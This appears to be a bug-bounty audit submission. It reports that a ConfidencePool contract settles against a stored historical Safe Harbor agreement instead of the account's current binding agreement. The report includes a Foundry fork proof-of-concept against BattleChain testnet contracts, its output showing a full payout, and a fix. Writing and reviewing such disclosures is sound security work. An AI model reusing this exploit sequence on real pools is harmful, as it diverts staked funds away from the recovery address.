FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Pool Settles Against A Historical Agreement Instead Of The Current Binding Agreement

Author Revealed upon completion

Root + Impact

Description

ConfidencePool stores one agreement address at creation and later resolves the pool by reading that stored agreement's state. This is unsafe because a factory-valid agreement is not necessarily the current Binding Agreement for the scoped account.

BattleChain's Safe Harbor registry explicitly documents that isAgreementValid() only checks whether an agreement was created by the configured factory. It does not prove that the agreement binds any specific contract. The authoritative binding is AttackRegistry.getAgreementForContract(account), but ConfidencePool never checks it for the pool scope.

// src/ConfidencePoolFactory.sol
function createPool(...) external whenNotPaused returns (address pool) {
...
// @> Only verifies the agreement was factory-created.
// @> Does not verify the scoped account is currently bound to this agreement.
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
...
}
// src/ConfidencePool.sol
function _replaceScope(address[] calldata accounts) internal {
...
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
// @> Checks only the selected agreement's local scope.
// @> Missing: AttackRegistry.getAgreementForContract(account) == agreement.
if (!IAgreement(agreement).isContractInScope(account)) {
revert AccountNotInAgreementScope(account);
}
}
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
// @> Settlement is permanently pinned to the stored agreement.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}

The dependency warns against exactly this assumption:

// BattleChainSafeHarborRegistry.sol
/// Returns true for ANY factory-deployed agreement — a `true` return does not establish that the
/// agreement binds any specific contract. Do not use as a substitute for resolving
/// the Binding Agreement via AttackRegistry.
function isAgreementValid(address agreementAddress) external view returns (bool) {
return IAgreementFactory(s_agreementFactory).isAgreementContract(agreementAddress);
}

Risk

Likelihood:

  • The live AttackRegistry allows re-linking a scoped account after the previous agreement reaches a terminal state.

  • ConfidencePool never re-checks the current Binding Agreement for its scoped account during settlement.

Impact:

  • The pool can pay out SURVIVED while the scoped account's current Binding Agreement is CORRUPTED.

  • The full pool balance is affected: in the PoC, the staker receives 100 ether principal plus 10 ether bonus, while recovery receives 0.

Proof of Concept

This is a BattleChain testnet fork PoC. It uses live Safe Harbor Registry, AttackRegistry, and AgreementFactory contracts. The only local helper is a standard ERC20 test token used as the pool stake token.

Run:

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-path test/fork/BindingAgreementMismatchFork.t.sol -vvv

Expected output:

[PASS] test_staleAgreementPaysSurvivedEvenWhenCurrentBindingIsCorrupted() (gas: 8627933)
Logs:
historicalAgreementState 5
currentBindingAgreementState 6
poolOutcome 1
stakerPayout 110000000000000000000
recoveryPayout 0

State meaning:

Value Meaning
historicalAgreementState = 5 PRODUCTION
currentBindingAgreementState = 6 CORRUPTED
poolOutcome = 1 SURVIVED
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract TestERC20 is ERC20 {
constructor() ERC20("Test Token", "TEST") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
interface IAttackRegistryLive {
enum ContractState { NOT_DEPLOYED, NEW_DEPLOYMENT, ATTACK_REQUESTED, UNDER_ATTACK, PROMOTION_REQUESTED, PRODUCTION, CORRUPTED }
function getAgreementState(address agreement) external view returns (ContractState);
function getAgreementForContract(address account) external view returns (address);
function getRegistryModerator() external view returns (address);
function instantPromote(address agreement) external;
function requestUnderAttack(address agreement) external payable;
function approveAttack(address agreement) external;
function markCorrupted(address agreement) external;
}
interface IAgreementFactoryLive {
function create(AgreementDetails memory details, address owner, bytes32 salt) external returns (address);
function isAgreementContract(address agreement) external view returns (bool);
}
interface IAgreementLive {
function isContractInScope(address account) external view returns (bool);
function extendCommitmentWindow(uint256 newCantChangeUntil) external;
}
contract BindingAgreementMismatchForkPoC is Test {
address constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address constant HISTORICAL_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address constant AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address constant SCOPED_ACCOUNT = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
IAttackRegistryLive registry = IAttackRegistryLive(ATTACK_REGISTRY);
IAgreementFactoryLive agreementFactory = IAgreementFactoryLive(AGREEMENT_FACTORY);
function test_staleAgreementPaysSurvivedEvenWhenCurrentBindingIsCorrupted() external {
vm.createSelectFork(vm.envString("BATTLECHAIN_TESTNET_RPC"));
// Arrange: deploy pool factory and create a pool for the historical agreement.
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory poolFactory = ConfidencePoolFactory(address(new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImpl), makeAddr("moderator")))
)));
TestERC20 token = new TestERC20();
poolFactory.setStakeTokenAllowed(address(token), true);
assertEq(registry.getAgreementForContract(SCOPED_ACCOUNT), HISTORICAL_AGREEMENT);
address[] memory scope = new address[](1);
scope[0] = SCOPED_ACCOUNT;
vm.prank(AGREEMENT_OWNER);
ConfidencePool pool = ConfidencePool(poolFactory.createPool(
HISTORICAL_AGREEMENT, address(token), block.timestamp + 45 days, 1 ether, makeAddr("recovery"), scope
));
address staker = makeAddr("staker");
token.mint(staker, 110 ether);
vm.startPrank(staker);
token.approve(address(pool), 110 ether);
pool.stake(100 ether);
pool.contributeBonus(10 ether);
vm.stopPrank();
pool.pokeRiskWindow();
// Act: terminally promote the historical agreement, then re-link the scoped account to a new corrupted agreement.
address registryModerator = registry.getRegistryModerator();
vm.prank(registryModerator);
registry.instantPromote(HISTORICAL_AGREEMENT);
address currentBinding = _newAgreementForSameAccount(AGREEMENT_OWNER, SCOPED_ACCOUNT);
vm.prank(AGREEMENT_OWNER);
registry.requestUnderAttack(currentBinding);
assertEq(registry.getAgreementForContract(SCOPED_ACCOUNT), currentBinding);
vm.prank(registryModerator);
registry.approveAttack(currentBinding);
vm.prank(AGREEMENT_OWNER);
registry.markCorrupted(currentBinding);
// Assert: the current binding is CORRUPTED, but the pool still pays SURVIVED against the historical agreement.
vm.warp(pool.expiry());
address recovery = pool.recoveryAddress();
uint256 stakerBefore = token.balanceOf(staker);
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(staker);
pool.claimExpired();
uint256 stakerPayout = token.balanceOf(staker) - stakerBefore;
uint256 recoveryPayout = token.balanceOf(recovery) - recoveryBefore;
console2.log("historicalAgreementState", uint8(registry.getAgreementState(HISTORICAL_AGREEMENT)));
console2.log("currentBindingAgreementState", uint8(registry.getAgreementState(currentBinding)));
console2.log("poolOutcome", uint8(pool.outcome()));
console2.log("stakerPayout", stakerPayout);
console2.log("recoveryPayout", recoveryPayout);
assertEq(uint8(registry.getAgreementState(HISTORICAL_AGREEMENT)), uint8(IAttackRegistryLive.ContractState.PRODUCTION));
assertEq(uint8(registry.getAgreementState(currentBinding)), uint8(IAttackRegistryLive.ContractState.CORRUPTED));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(stakerPayout, 110 ether);
assertEq(recoveryPayout, 0);
}
function _newAgreementForSameAccount(address owner, address account) internal returns (address) {
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact("owner", "test@example.com");
BCAccount[] memory accounts = new BCAccount[](1);
accounts[0] = BCAccount(_hex(account), ChildContractScope.None);
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain(_hex(owner), accounts, "eip155:627");
AgreementDetails memory details = AgreementDetails({
protocolName: "Binding Mismatch PoC",
contactDetails: contacts,
chains: chains,
bountyTerms: BountyTerms(10, 100_000, true, IdentityRequirements.Anonymous, "", 0),
agreementURI: "ipfs://binding-mismatch-poc"
});
vm.prank(owner);
address agreement = agreementFactory.create(details, owner, keccak256(abi.encode(block.timestamp, account)));
assertTrue(agreementFactory.isAgreementContract(agreement));
assertTrue(IAgreementLive(agreement).isContractInScope(account));
vm.prank(owner);
IAgreementLive(agreement).extendCommitmentWindow(block.timestamp + 8 days);
return agreement;
}
function _hex(address a) internal pure returns (string memory) {
bytes16 symbols = "0123456789abcdef";
bytes memory out = new bytes(42);
out[0] = "0";
out[1] = "x";
uint160 value = uint160(a);
for (uint256 i; i < 20; i++) {
uint8 b = uint8(value >> (8 * (19 - i)));
out[2 + i * 2] = symbols[b >> 4];
out[3 + i * 2] = symbols[b & 0x0f];
}
return string(out);
}
}

Recommended Mitigation

Check the current Binding Agreement for every scoped account before accepting the pool scope.

+interface IAttackRegistryBinding {
+ function getAgreementForContract(address account) external view returns (address);
+}
+
function _replaceScope(address[] calldata accounts) internal {
if (accounts.length == 0) revert EmptyScope();
+ address attackRegistry = safeHarborRegistry.getAttackRegistry();
+ if (attackRegistry == address(0)) revert InvalidAgreement();
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (!IAgreement(agreement).isContractInScope(account)) {
revert AccountNotInAgreementScope(account);
}
+ if (IAttackRegistryBinding(attackRegistry).getAgreementForContract(account) != agreement) {
+ revert InvalidAgreement();
+ }
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!